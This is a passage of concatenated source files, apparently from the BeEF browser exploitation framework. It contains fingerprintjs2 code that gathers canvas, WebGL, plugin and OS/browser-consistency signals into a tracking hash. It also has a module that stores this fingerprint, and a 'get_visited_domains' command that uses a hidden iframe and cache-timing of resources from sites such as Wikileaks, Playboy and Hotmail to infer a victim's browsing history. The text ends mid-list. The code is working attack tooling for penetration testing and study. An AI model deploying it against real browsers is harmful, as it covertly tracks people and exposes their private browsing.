DOM h.removeChild(fontsDiv) h.removeChild(baseFontsDiv) done(available) } var pluginsComponent = function (done, options) { if (isIE()) { if (!options.plugins.excludeIE) { done(getIEPlugins(options)) } else { done(options.EXCLUDED) } } else { done(getRegularPlugins(options)) } } var getRegularPlugins = function (options) { if (navigator.plugins == null) { return options.NOT_AVAILABLE } var plugins = [] // plugins isn't defined in Node envs. for (var i = 0, l = navigator.plugins.length; i < l; i++) { if (navigator.plugins[i]) { plugins.push(navigator.plugins[i]) } } // sorting plugins only for those user agents, that we know randomize the plugins // every time we try to enumerate them if (pluginsShouldBeSorted(options)) { plugins = plugins.sort(function (a, b) { if (a.name > b.name) { return 1 } if (a.name < b.name) { return -1 } return 0 }) } return map(plugins, function (p) { var mimeTypes = map(p, function (mt) { return [mt.type, mt.suffixes] }) return [p.name, p.description, mimeTypes] }) } var getIEPlugins = function (options) { var result = [] if ((Object.getOwnPropertyDescriptor && Object.getOwnPropertyDescriptor(window, 'ActiveXObject')) || ('ActiveXObject' in window)) { var names = [ 'AcroPDF.PDF', // Adobe PDF reader 7+ 'Adodb.Stream', 'AgControl.AgControl', // Silverlight 'DevalVRXCtrl.DevalVRXCtrl.1', 'MacromediaFlashPaper.MacromediaFlashPaper', 'Msxml2.DOMDocument', 'Msxml2.XMLHTTP', 'PDF.PdfCtrl', // Adobe PDF reader 6 and earlier, brrr 'QuickTime.QuickTime', // QuickTime 'QuickTimeCheckObject.QuickTimeCheck.1', 'RealPlayer', 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)', 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)', 'Scripting.Dictionary', 'SWCtl.SWCtl', // ShockWave player 'Shell.UIHelper', 'ShockwaveFlash.ShockwaveFlash', // flash plugin 'Skype.Detection', 'TDCCtl.TDCCtl', 'WMPlayer.OCX', // Windows media player 'rmocx.RealPlayer G2 Control', 'rmocx.RealPlayer G2 Control.1' ] // starting to detect plugins in IE result = map(names, function (name) { try { // eslint-disable-next-line no-new new window.ActiveXObject(name) return name } catch (e) { return options.ERROR } }) } else { result.push(options.NOT_AVAILABLE) } if (navigator.plugins) { result = result.concat(getRegularPlugins(options)) } return result } var pluginsShouldBeSorted = function (options) { var should = false for (var i = 0, l = options.plugins.sortPluginsFor.length; i < l; i++) { var re = options.plugins.sortPluginsFor[i] if (navigator.userAgent.match(re)) { should = true break } } return should } var touchSupportKey = function (done) { done(getTouchSupport()) } var hardwareConcurrencyKey = function (done, options) { done(getHardwareConcurrency(options)) } var hasSessionStorage = function (options) { try { return !!window.sessionStorage } catch (e) { return options.ERROR // SecurityError when referencing it means it exists } } // https://bugzilla.mozilla.org/show_bug.cgi?id=781447 var hasLocalStorage = function (options) { try { return !!window.localStorage } catch (e) { return options.ERROR // SecurityError when referencing it means it exists } } var hasIndexedDB = function (options) { try { return !!window.indexedDB } catch (e) { return options.ERROR // SecurityError when referencing it means it exists } } var getHardwareConcurrency = function (options) { if (navigator.hardwareConcurrency) { return navigator.hardwareConcurrency } return options.NOT_AVAILABLE } var getNavigatorCpuClass = function (options) { return navigator.cpuClass || options.NOT_AVAILABLE } var getNavigatorPlatform = function (options) { if (navigator.platform) { return navigator.platform } else { return options.NOT_AVAILABLE } } var getDoNotTrack = function (options) { if (navigator.doNotTrack) { return navigator.doNotTrack } else if (navigator.msDoNotTrack) { return navigator.msDoNotTrack } else if (window.doNotTrack) { return window.doNotTrack } else { return options.NOT_AVAILABLE } } // This is a crude and primitive touch screen detection. // It's not possible to currently reliably detect the availability of a touch screen // with a JS, without actually subscribing to a touch event. // http://www.stucox.com/blog/you-cant-detect-a-touchscreen/ // https://github.com/Modernizr/Modernizr/issues/548 // method returns an array of 3 values: // maxTouchPoints, the success or failure of creating a TouchEvent, // and the availability of the 'ontouchstart' property var getTouchSupport = function () { var maxTouchPoints = 0 var touchEvent if (typeof navigator.maxTouchPoints !== 'undefined') { maxTouchPoints = navigator.maxTouchPoints } else if (typeof navigator.msMaxTouchPoints !== 'undefined') { maxTouchPoints = navigator.msMaxTouchPoints } try { document.createEvent('TouchEvent') touchEvent = true } catch (_) { touchEvent = false } var touchStart = 'ontouchstart' in window return [maxTouchPoints, touchEvent, touchStart] } // https://www.browserleaks.com/canvas#how-does-it-work var getCanvasFp = function (options) { var result = [] // Very simple now, need to make it more complex (geo shapes etc) var canvas = document.createElement('canvas') canvas.width = 2000 canvas.height = 200 canvas.style.display = 'inline' var ctx = canvas.getContext('2d') // detect browser support of canvas winding // http://blogs.adobe.com/webplatform/2013/01/30/winding-rules-in-canvas/ // https://github.com/Modernizr/Modernizr/blob/master/feature-detects/canvas/winding.js ctx.rect(0, 0, 10, 10) ctx.rect(2, 2, 6, 6) result.push('canvas winding:' + ((ctx.isPointInPath(5, 5, 'evenodd') === false) ? 'yes' : 'no')) ctx.textBaseline = 'alphabetic' ctx.fillStyle = '#f60' ctx.fillRect(125, 1, 62, 20) ctx.fillStyle = '#069' // https://github.com/Valve/fingerprintjs2/issues/66 if (options.dontUseFakeFontInCanvas) { ctx.font = '11pt Arial' } else { ctx.font = '11pt no-real-font-123' } ctx.fillText('Cwm fjordbank glyphs vext quiz, \ud83d\ude03', 2, 15) ctx.fillStyle = 'rgba(102, 204, 0, 0.2)' ctx.font = '18pt Arial' ctx.fillText('Cwm fjordbank glyphs vext quiz, \ud83d\ude03', 4, 45) // canvas blending // http://blogs.adobe.com/webplatform/2013/01/28/blending-features-in-canvas/ // http://jsfiddle.net/NDYV8/16/ ctx.globalCompositeOperation = 'multiply' ctx.fillStyle = 'rgb(255,0,255)' ctx.beginPath() ctx.arc(50, 50, 50, 0, Math.PI * 2, true) ctx.closePath() ctx.fill() ctx.fillStyle = 'rgb(0,255,255)' ctx.beginPath() ctx.arc(100, 50, 50, 0, Math.PI * 2, true) ctx.closePath() ctx.fill() ctx.fillStyle = 'rgb(255,255,0)' ctx.beginPath() ctx.arc(75, 100, 50, 0, Math.PI * 2, true) ctx.closePath() ctx.fill() ctx.fillStyle = 'rgb(255,0,255)' // canvas winding // http://blogs.adobe.com/webplatform/2013/01/30/winding-rules-in-canvas/ // http://jsfiddle.net/NDYV8/19/ ctx.arc(75, 75, 75, 0, Math.PI * 2, true) ctx.arc(75, 75, 25, 0, Math.PI * 2, true) ctx.fill('evenodd') if (canvas.toDataURL) { result.push('canvas fp:' + canvas.toDataURL()) } return result } var getWebglFp = function () { var gl var fa2s = function (fa) { gl.clearColor(0.0, 0.0, 0.0, 1.0) gl.enable(gl.DEPTH_TEST) gl.depthFunc(gl.LEQUAL) gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT) return '[' + fa[0] + ', ' + fa[1] + ']' } var maxAnisotropy = function (gl) { var ext = gl.getExtension('EXT_texture_filter_anisotropic') || gl.getExtension('WEBKIT_EXT_texture_filter_anisotropic') || gl.getExtension('MOZ_EXT_texture_filter_anisotropic') if (ext) { var anisotropy = gl.getParameter(ext.MAX_TEXTURE_MAX_ANISOTROPY_EXT) if (anisotropy === 0) { anisotropy = 2 } return anisotropy } else { return null } } gl = getWebglCanvas() if (!gl) { return null } // WebGL fingerprinting is a combination of techniques, found in MaxMind antifraud script & Augur fingerprinting. // First it draws a gradient object with shaders and convers the image to the Base64 string. // Then it enumerates all WebGL extensions & capabilities and appends them to the Base64 string, resulting in a huge WebGL string, potentially very unique on each device // Since iOS supports webgl starting from version 8.1 and 8.1 runs on several graphics chips, the results may be different across ios devices, but we need to verify it. var result = [] var vShaderTemplate = 'attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}' var fShaderTemplate = 'precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}' var vertexPosBuffer = gl.createBuffer() gl.bindBuffer(gl.ARRAY_BUFFER, vertexPosBuffer) var vertices = new Float32Array([-0.2, -0.9, 0, 0.4, -0.26, 0, 0, 0.732134444, 0]) gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW) vertexPosBuffer.itemSize = 3 vertexPosBuffer.numItems = 3 var program = gl.createProgram() var vshader = gl.createShader(gl.VERTEX_SHADER) gl.shaderSource(vshader, vShaderTemplate) gl.compileShader(vshader) var fshader = gl.createShader(gl.FRAGMENT_SHADER) gl.shaderSource(fshader, fShaderTemplate) gl.compileShader(fshader) gl.attachShader(program, vshader) gl.attachShader(program, fshader) gl.linkProgram(program) gl.useProgram(program) program.vertexPosAttrib = gl.getAttribLocation(program, 'attrVertex') program.offsetUniform = gl.getUniformLocation(program, 'uniformOffset') gl.enableVertexAttribArray(program.vertexPosArray) gl.vertexAttribPointer(program.vertexPosAttrib, vertexPosBuffer.itemSize, gl.FLOAT, !1, 0, 0) gl.uniform2f(program.offsetUniform, 1, 1) gl.drawArrays(gl.TRIANGLE_STRIP, 0, vertexPosBuffer.numItems) try { result.push(gl.canvas.toDataURL()) } catch (e) { /* .toDataURL may be absent or broken (blocked by extension) */ } result.push('extensions:' + (gl.getSupportedExtensions() || []).join(';')) result.push('webgl aliased line width range:' + fa2s(gl.getParameter(gl.ALIASED_LINE_WIDTH_RANGE))) result.push('webgl aliased point size range:' + fa2s(gl.getParameter(gl.ALIASED_POINT_SIZE_RANGE))) result.push('webgl alpha bits:' + gl.getParameter(gl.ALPHA_BITS)) result.push('webgl antialiasing:' + (gl.getContextAttributes().antialias ? 'yes' : 'no')) result.push('webgl blue bits:' + gl.getParameter(gl.BLUE_BITS)) result.push('webgl depth bits:' + gl.getParameter(gl.DEPTH_BITS)) result.push('webgl green bits:' + gl.getParameter(gl.GREEN_BITS)) result.push('webgl max anisotropy:' + maxAnisotropy(gl)) result.push('webgl max combined texture image units:' + gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS)) result.push('webgl max cube map texture size:' + gl.getParameter(gl.MAX_CUBE_MAP_TEXTURE_SIZE)) result.push('webgl max fragment uniform vectors:' + gl.getParameter(gl.MAX_FRAGMENT_UNIFORM_VECTORS)) result.push('webgl max render buffer size:' + gl.getParameter(gl.MAX_RENDERBUFFER_SIZE)) result.push('webgl max texture image units:' + gl.getParameter(gl.MAX_TEXTURE_IMAGE_UNITS)) result.push('webgl max texture size:' + gl.getParameter(gl.MAX_TEXTURE_SIZE)) result.push('webgl max varying vectors:' + gl.getParameter(gl.MAX_VARYING_VECTORS)) result.push('webgl max vertex attribs:' + gl.getParameter(gl.MAX_VERTEX_ATTRIBS)) result.push('webgl max vertex texture image units:' + gl.getParameter(gl.MAX_VERTEX_TEXTURE_IMAGE_UNITS)) result.push('webgl max vertex uniform vectors:' + gl.getParameter(gl.MAX_VERTEX_UNIFORM_VECTORS)) result.push('webgl max viewport dims:' + fa2s(gl.getParameter(gl.MAX_VIEWPORT_DIMS))) result.push('webgl red bits:' + gl.getParameter(gl.RED_BITS)) result.push('webgl renderer:' + gl.getParameter(gl.RENDERER)) result.push('webgl shading language version:' + gl.getParameter(gl.SHADING_LANGUAGE_VERSION)) result.push('webgl stencil bits:' + gl.getParameter(gl.STENCIL_BITS)) result.push('webgl vendor:' + gl.getParameter(gl.VENDOR)) result.push('webgl version:' + gl.getParameter(gl.VERSION)) try { // Add the unmasked vendor and unmasked renderer if the debug_renderer_info extension is available var extensionDebugRendererInfo = gl.getExtension('WEBGL_debug_renderer_info') if (extensionDebugRendererInfo) { result.push('webgl unmasked vendor:' + gl.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL)) result.push('webgl unmasked renderer:' + gl.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL)) } } catch (e) { /* squelch */ } if (!gl.getShaderPrecisionFormat) { return result } each(['FLOAT', 'INT'], function (numType) { each(['VERTEX', 'FRAGMENT'], function (shader) { each(['HIGH', 'MEDIUM', 'LOW'], function (numSize) { each(['precision', 'rangeMin', 'rangeMax'], function (key) { var format = gl.getShaderPrecisionFormat(gl[shader + '_SHADER'], gl[numSize + '_' + numType])[key] if (key !== 'precision') { key = 'precision ' + key } var line = ['webgl ', shader.toLowerCase(), ' shader ', numSize.toLowerCase(), ' ', numType.toLowerCase(), ' ', key, ':', format].join('') result.push(line) }) }) }) }) return result } var getWebglVendorAndRenderer = function () { /* This a subset of the WebGL fingerprint with a lot of entropy, while being reasonably browser-independent */ try { var glContext = getWebglCanvas() var extensionDebugRendererInfo = glContext.getExtension('WEBGL_debug_renderer_info') return glContext.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL) + '~' + glContext.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL) } catch (e) { return null } } var getAdBlock = function () { var ads = document.createElement('div') ads.innerHTML = '&nbsp;' ads.className = 'adsbox' var result = false try { // body may not exist, that's why we need try/catch document.body.appendChild(ads) result = document.getElementsByClassName('adsbox')[0].offsetHeight === 0 document.body.removeChild(ads) } catch (e) { result = false } return result } var getHasLiedLanguages = function () { // We check if navigator.language is equal to the first language of navigator.languages if (typeof navigator.languages !== 'undefined') { try { var firstLanguages = navigator.languages[0].substr(0, 2) if (firstLanguages !== navigator.language.substr(0, 2)) { return true } } catch (err) { return true } } return false } var getHasLiedResolution = function () { return window.screen.width < window.screen.availWidth || window.screen.height < window.screen.availHeight } var getHasLiedOs = function () { var userAgent = navigator.userAgent.toLowerCase() var oscpu = navigator.oscpu var platform = navigator.platform.toLowerCase() var os // We extract the OS from the user agent (respect the order of the if else if statement) if (userAgent.indexOf('windows phone') >= 0) { os = 'Windows Phone' } else if (userAgent.indexOf('win') >= 0) { os = 'Windows' } else if (userAgent.indexOf('android') >= 0) { os = 'Android' } else if (userAgent.indexOf('linux') >= 0) { os = 'Linux' } else if (userAgent.indexOf('iphone') >= 0 || userAgent.indexOf('ipad') >= 0) { os = 'iOS' } else if (userAgent.indexOf('mac') >= 0) { os = 'Mac' } else { os = 'Other' } // We detect if the person uses a mobile device var mobileDevice = (('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0)) if (mobileDevice && os !== 'Windows Phone' && os !== 'Android' && os !== 'iOS' && os !== 'Other') { return true } // We compare oscpu with the OS extracted from the UA if (typeof oscpu !== 'undefined') { oscpu = oscpu.toLowerCase() if (oscpu.indexOf('win') >= 0 && os !== 'Windows' && os !== 'Windows Phone') { return true } else if (oscpu.indexOf('linux') >= 0 && os !== 'Linux' && os !== 'Android') { return true } else if (oscpu.indexOf('mac') >= 0 && os !== 'Mac' && os !== 'iOS') { return true } else if ((oscpu.indexOf('win') === -1 && oscpu.indexOf('linux') === -1 && oscpu.indexOf('mac') === -1) !== (os === 'Other')) { return true } } // We compare platform with the OS extracted from the UA if (platform.indexOf('win') >= 0 && os !== 'Windows' && os !== 'Windows Phone') { return true } else if ((platform.indexOf('linux') >= 0 || platform.indexOf('android') >= 0 || platform.indexOf('pike') >= 0) && os !== 'Linux' && os !== 'Android') { return true } else if ((platform.indexOf('mac') >= 0 || platform.indexOf('ipad') >= 0 || platform.indexOf('ipod') >= 0 || platform.indexOf('iphone') >= 0) && os !== 'Mac' && os !== 'iOS') { return true } else if ((platform.indexOf('win') === -1 && platform.indexOf('linux') === -1 && platform.indexOf('mac') === -1) !== (os === 'Other')) { return true } return typeof navigator.plugins === 'undefined' && os !== 'Windows' && os !== 'Windows Phone' } var getHasLiedBrowser = function () { var userAgent = navigator.userAgent.toLowerCase() var productSub = navigator.productSub // we extract the browser from the user agent (respect the order of the tests) var browser if (userAgent.indexOf('firefox') >= 0) { browser = 'Firefox' } else if (userAgent.indexOf('opera') >= 0 || userAgent.indexOf('opr') >= 0) { browser = 'Opera' } else if (userAgent.indexOf('chrome') >= 0) { browser = 'Chrome' } else if (userAgent.indexOf('safari') >= 0) { browser = 'Safari' } else if (userAgent.indexOf('trident') >= 0) { browser = 'Internet Explorer' } else { browser = 'Other' } if ((browser === 'Chrome' || browser === 'Safari' || browser === 'Opera') && productSub !== '20030107') { return true } // eslint-disable-next-line no-eval var tempRes = eval.toString().length if (tempRes === 37 && browser !== 'Safari' && browser !== 'Firefox' && browser !== 'Other') { return true } else if (tempRes === 39 && browser !== 'Internet Explorer' && browser !== 'Other') { return true } else if (tempRes === 33 && browser !== 'Chrome' && browser !== 'Opera' && browser !== 'Other') { return true } // We create an error to see how it is handled var errFirefox try { // eslint-disable-next-line no-throw-literal throw 'a' } catch (err) { try { err.toSource() errFirefox = true } catch (errOfErr) { errFirefox = false } } return errFirefox && browser !== 'Firefox' && browser !== 'Other' } var isCanvasSupported = function () { var elem = document.createElement('canvas') return !!(elem.getContext && elem.getContext('2d')) } var isWebGlSupported = function () { // code taken from Modernizr if (!isCanvasSupported()) { return false } var glContext = getWebglCanvas() return !!window.WebGLRenderingContext && !!glContext } var isIE = function () { if (navigator.appName === 'Microsoft Internet Explorer') { return true } else if (navigator.appName === 'Netscape' && /Trident/.test(navigator.userAgent)) { // IE 11 return true } return false } var hasSwfObjectLoaded = function () { return typeof window.swfobject !== 'undefined' } var hasMinFlashInstalled = function () { return window.swfobject.hasFlashPlayerVersion('9.0.0') } var addFlashDivNode = function (options) { var node = document.createElement('div') node.setAttribute('id', options.fonts.swfContainerId) document.body.appendChild(node) } var loadSwfAndDetectFonts = function (done, options) { var hiddenCallback = '___fp_swf_loaded' window[hiddenCallback] = function (fonts) { done(fonts) } var id = options.fonts.swfContainerId addFlashDivNode() var flashvars = { onReady: hiddenCallback } var flashparams = { allowScriptAccess: 'always', menu: 'false' } window.swfobject.embedSWF(options.fonts.swfPath, id, '1', '1', '9.0.0', false, flashvars, flashparams, {}) } var getWebglCanvas = function () { var canvas = document.createElement('canvas') var gl = null try { gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl') } catch (e) { /* squelch */ } if (!gl) { gl = null } return gl } var components = [ {key: 'userAgent', getData: UserAgent}, {key: 'language', getData: languageKey}, {key: 'colorDepth', getData: colorDepthKey}, {key: 'deviceMemory', getData: deviceMemoryKey}, {key: 'pixelRatio', getData: pixelRatioKey}, {key: 'hardwareConcurrency', getData: hardwareConcurrencyKey}, {key: 'screenResolution', getData: screenResolutionKey}, {key: 'availableScreenResolution', getData: availableScreenResolutionKey}, {key: 'timezoneOffset', getData: timezoneOffset}, {key: 'timezone', getData: timezone}, {key: 'sessionStorage', getData: sessionStorageKey}, {key: 'localStorage', getData: localStorageKey}, {key: 'indexedDb', getData: indexedDbKey}, {key: 'addBehavior', getData: addBehaviorKey}, {key: 'openDatabase', getData: openDatabaseKey}, {key: 'cpuClass', getData: cpuClassKey}, {key: 'platform', getData: platformKey}, {key: 'doNotTrack', getData: doNotTrackKey}, {key: 'plugins', getData: pluginsComponent}, {key: 'canvas', getData: canvasKey}, {key: 'webgl', getData: webglKey}, {key: 'webglVendorAndRenderer', getData: webglVendorAndRendererKey}, {key: 'adBlock', getData: adBlockKey}, {key: 'hasLiedLanguages', getData: hasLiedLanguagesKey}, {key: 'hasLiedResolution', getData: hasLiedResolutionKey}, {key: 'hasLiedOs', getData: hasLiedOsKey}, {key: 'hasLiedBrowser', getData: hasLiedBrowserKey}, {key: 'touchSupport', getData: touchSupportKey}, {key: 'fonts', getData: jsFontsKey, pauseBefore: true}, {key: 'fontsFlash', getData: flashFontsKey, pauseBefore: true}, {key: 'audio', getData: audioKey}, {key: 'enumerateDevices', getData: enumerateDevicesKey} ] var Fingerprint2 = function (options) { throw new Error("'new Fingerprint()' is deprecated, see https://github.com/Valve/fingerprintjs2#upgrade-guide-from-182-to-200") } Fingerprint2.get = function (options, callback) { if (!callback) { callback = options options = {} } else if (!options) { options = {} } extendSoft(options, defaultOptions) options.components = options.extraComponents.concat(components) var keys = { data: [], addPreprocessedComponent: function (key, value) { if (typeof options.preprocessor === 'function') { value = options.preprocessor(key, value) } keys.data.push({key: key, value: value}) } } var i = -1 var chainComponents = function (alreadyWaited) { i += 1 if (i >= options.components.length) { // on finish callback(keys.data) return } var component = options.components[i] if (options.excludes[component.key]) { chainComponents(false) // skip return } if (!alreadyWaited && component.pauseBefore) { i -= 1 setTimeout(function () { chainComponents(true) }, 1) return } try { component.getData(function (value) { keys.addPreprocessedComponent(component.key, value) chainComponents(false) }, options) } catch (error) { // main body error keys.addPreprocessedComponent(component.key, String(error)) chainComponents(false) } } chainComponents(false) } Fingerprint2.getPromise = function (options) { return new Promise(function (resolve, reject) { Fingerprint2.get(options, resolve) }) } Fingerprint2.getV18 = function (options, callback) { if (callback == null) { callback = options options = {} } return Fingerprint2.get(options, function (components) { var newComponents = [] for (var i = 0; i < components.length; i++) { var component = components[i] if (component.value === (options.NOT_AVAILABLE || 'not available')) { newComponents.push({key: component.key, value: 'unknown'}) } else if (component.key === 'plugins') { newComponents.push({key: 'plugins', value: map(component.value, function (p) { var mimeTypes = map(p[2], function (mt) { if (mt.join) { return mt.join('~') } return mt }).join(',') return [p[0], p[1], mimeTypes].join('::') })}) } else if (['canvas', 'webgl'].indexOf(component.key) !== -1) { newComponents.push({key: component.key, value: component.value.join('~')}) } else if (['sessionStorage', 'localStorage', 'indexedDb', 'addBehavior', 'openDatabase'].indexOf(component.key) !== -1) { if (component.value) { newComponents.push({key: component.key, value: 1}) } else { // skip continue } } else { if (component.value) { newComponents.push(component.value.join ? {key: component.key, value: component.value.join(';')} : component) } else { newComponents.push({key: component.key, value: component.value}) } } } var murmur = x64hash128(map(newComponents, function (component) { return component.value }).join('~~~'), 31) callback(murmur, newComponents) }) } Fingerprint2.x64hash128 = x64hash128 Fingerprint2.VERSION = '2.0.6' return Fingerprint2 })
Ruby
beef/modules/browser/fingerprint_browser/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fingerprint_browser < BeEF::Core::Command def post_execute content = {} content['fingerprint'] = @datastore['fingerprint'] unless @datastore['fingerprint'].nil? content['components'] = @datastore['components'] unless @datastore['components'].nil? content['fail'] = 'Failed to fingerprint browser.' if content.empty? save content end end
JavaScript
beef/modules/browser/get_visited_domains/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // var hidden_iframe = beef.dom.createInvisibleIframe(); hidden_iframe.setAttribute('id','f'); hidden_iframe.setAttribute('name','f'); hidden_iframe.setAttribute('src','about:blank'); hidden_iframe.setAttribute('style','opacity: 0.1'); var results = ""; var tries = 0; var isIE = 0; var isFF = 0; var isO = 0; var isC = 0; /******************************* * SUB-MS TIMER IMPLEMENTATION * *******************************/ var cycles = 0; var exec_next = null; function timer_interrupt() { cycles++; if (exec_next) { var cmd = exec_next; exec_next = null; cmd(); } } if (beef.browser.isFF() == 1) { window.addEventListener('message', timer_interrupt, false); /**************** * SCANNED URLS * ****************/ var targets = [ { 'category': 'Social networks' }, { 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js', 'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js', 'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] }, { 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] }, { 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz', 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] }, { 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] }, { 'category': 'Content platforms' }, { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] }, { 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] }, { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] }, { 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] }, { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] }, { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] }, { 'category': 'Online media' }, { 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] }, { 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css', 'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] }, { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] }, { 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] }, { 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] }, { 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] }, { 'category': 'Commerce' }, { 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12', 'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] }, { 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] }, { 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] }, { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] }, { 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] }, { 'category': 'Coding' }, { 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] }, { 'category': 'Security' }, { 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] }, { 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] }, { 'category': 'Email' }, { 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] } ]; /************************* * CONFIGURABLE SETTINGS * *************************/ var TIME_LIMIT = 5; var MAX_ATTEMPTS = 2; } if (beef.browser.isIE() == 1) { /**************** * SCANNED URLS * ****************/ var targets = [ { 'category': 'Social networks' }, { 'name': 'Facebook', 'urls': [ 'http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png', 'https://s-static.ak.facebook.com/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png' ] }, { 'name': 'Twitter', 'urls': [ 'http://twitter.com/phoenix/favicon.ico', 'https://twitter.com/phoenix/favicon.ico' ] }, { 'name': 'LinkedIn', 'urls': [ 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png', 'http://s3.licdn.com/scds/common/u/img/logos/logo_2_237x60.png', 'http://s4.licdn.com/scds/common/u/img/logos/logo_132x32_2.png' ] }, { 'name': 'Orkut', 'urls': [ 'http://static3.orkut.com/img/gwt/logo_orkut_default.png' ] }, { 'name': 'Dogster', 'urls': [ 'http://a2.cdnsters.com/static/images/sitewide/logos/dsterBanner-sm.png' ] }, { 'category': 'Content platforms' }, { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/favicon-refresh-vfldLzJxy.ico' ] }, { 'name': 'Hulu', 'urls': [ 'http://www.hulu.com/fat-favicon.ico' ] }, { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/favicon.ico' ] }, { 'name': 'Wikipedia (EN)', 'urls': [ 'http://en.wikipedia.org/favicon.ico' ] }, { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/favicon.ico' ] }, { 'category': 'Online media' }, { 'name': 'New York Times', 'urls': [ 'http://css.nyt.com/images/icons/nyt.ico' ] }, { 'name': 'CNN', 'urls': [ 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/hdr-main.gif', 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif' ] }, { 'name': 'Slashdot', 'urls': [ 'http://slashdot.org/favicon.ico', 'http://a.fsdn.com/sd/logo_w_l.png' ] }, { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/favicon.ico' ] }, { 'name': 'Fox News', 'urls': [ 'http://www.foxnews.com/i/redes/foxnews.ico' ] }, { 'name': 'AboveTopSecret.com', 'urls': [ 'http://files.abovetopsecret.com/images/atssitelogo-f.png' ] }, { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/IMG/wlogo.png' ] /* this session only */ }, { 'category': 'Commerce' }, { 'name': 'Diapers.com', 'urls': [ 'http://c4.diapers.com/Images/favicon.ico' ] }, { 'name': 'Amazon (US)', 'urls': [ 'http://g-ecx.images-amazon.com/images/G/01/gno/images/general/navAmazonLogoFooter._V169459313_.gif' ] }, { 'name': 'eBay', 'urls': [ 'http://www.ebay.com/favicon.ico' ] }, { 'name': 'Walmart', 'urls': [ 